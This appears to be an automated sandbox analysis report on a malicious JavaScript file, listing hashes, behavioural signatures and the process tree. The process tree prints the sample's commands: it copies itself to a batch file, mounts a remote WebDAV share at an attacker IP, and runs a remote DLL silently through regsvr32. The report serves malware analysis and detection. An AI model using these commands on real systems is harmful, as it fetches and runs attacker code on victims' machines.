Analysis
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max time kernel
122s -
max time network
129s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
10/07/2024, 18:42
Static task
static1
Behavioral task
behavioral1
Sample
539022179305046721.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
539022179305046721.js
Resource
win10v2004-20240709-en
General
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Target
539022179305046721.js
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Size
5KB
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MD5
b8761386fc6c7870dd22e8406f001c46
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SHA1
d480363c9693afa6c505833b4983bbccd4c02011
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SHA256
e94c7364c27599cf7c06a529006a4a9d7b0ac5e1cb9d2578c38bdd2c7ddc5510
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SHA512
7c4a1bd18352325a9f46b26a09dca2289aff8df0f340c694d79e4d98db587f79552ceaa4bae076b2ccf364a1de48dcb5fae6019c0a0401ff17ba89c2b64aedad
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SSDEEP
96:KT0KPS8ev0MPQ62z+beFyondQSGy/URV4SLUnHpNwktpNH:ySWKA+KFyondQSGy/S4SLUHTwktTH
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2608 regsvr32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2956 wrote to memory of 620 2956 wscript.exe 31 PID 2956 wrote to memory of 620 2956 wscript.exe 31 PID 2956 wrote to memory of 620 2956 wscript.exe 31 PID 620 wrote to memory of 2720 620 cmd.exe 33 PID 620 wrote to memory of 2720 620 cmd.exe 33 PID 620 wrote to memory of 2720 620 cmd.exe 33 PID 620 wrote to memory of 2608 620 cmd.exe 34 PID 620 wrote to memory of 2608 620 cmd.exe 34 PID 620 wrote to memory of 2608 620 cmd.exe 34 PID 620 wrote to memory of 2608 620 cmd.exe 34 PID 620 wrote to memory of 2608 620 cmd.exe 34
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\539022179305046721.js1⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\539022179305046721.js" "C:\Users\Admin\\mhnxhl.bat" && "C:\Users\Admin\\mhnxhl.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2720
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C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\866.dll3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2608
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5KB
MD5b8761386fc6c7870dd22e8406f001c46
SHA1d480363c9693afa6c505833b4983bbccd4c02011
SHA256e94c7364c27599cf7c06a529006a4a9d7b0ac5e1cb9d2578c38bdd2c7ddc5510
SHA5127c4a1bd18352325a9f46b26a09dca2289aff8df0f340c694d79e4d98db587f79552ceaa4bae076b2ccf364a1de48dcb5fae6019c0a0401ff17ba89c2b64aedad